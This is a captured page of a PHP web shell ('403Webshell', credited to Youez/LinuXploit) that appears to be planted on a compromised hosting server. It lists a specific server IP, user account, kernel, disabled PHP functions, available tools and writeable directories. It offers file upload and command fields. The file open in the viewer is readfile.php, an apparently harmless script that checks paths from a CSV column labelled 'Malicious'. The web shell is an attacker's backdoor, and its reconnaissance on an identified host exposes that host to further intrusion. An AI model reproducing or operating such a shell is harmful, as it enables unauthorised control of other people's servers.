403Webshell
Server IP : 152.53.162.115  /  Your IP : 216.73.217.85
Web Server : Apache/2
System : Linux host 6.12.0-55.40.1.el10_0.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Oct 21 05:54:51 EDT 2025 x86_64
User : pbshosting ( 1005)
PHP Version : 8.3.30
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/pbshosting/domains/pbshosting.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/pbshosting/domains/pbshosting.com/private_html/readfile.php
<?php 
$csvFile = 'sheet1.csv';   // your CSV file
$basePath = '/home/pbshosting/domains/';  // Correct root folder
$rows = array_map('str_getcsv', file($csvFile));
$header = array_map('trim', $rows[0]);

$malIndex = array_search('Malicious', $header);

foreach (array_slice($rows, 1) as $row) {

    // Safe trim (removes hidden characters)
    $relativePath = trim($row[$malIndex] ?? '', " \t\n\r\0\x0B");

    if ($relativePath === '') continue;

    // Remove leading slash if exists
    $relativePath = ltrim($relativePath, '/');

    // Build absolute path
    $fullPath = $basePath . $relativePath;

    if (file_exists($fullPath)) {
        echo "$relativePath => FOUND<br>";
    } else {
        echo "$relativePath => NOT FOUND (checked: $fullPath)<br>";
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit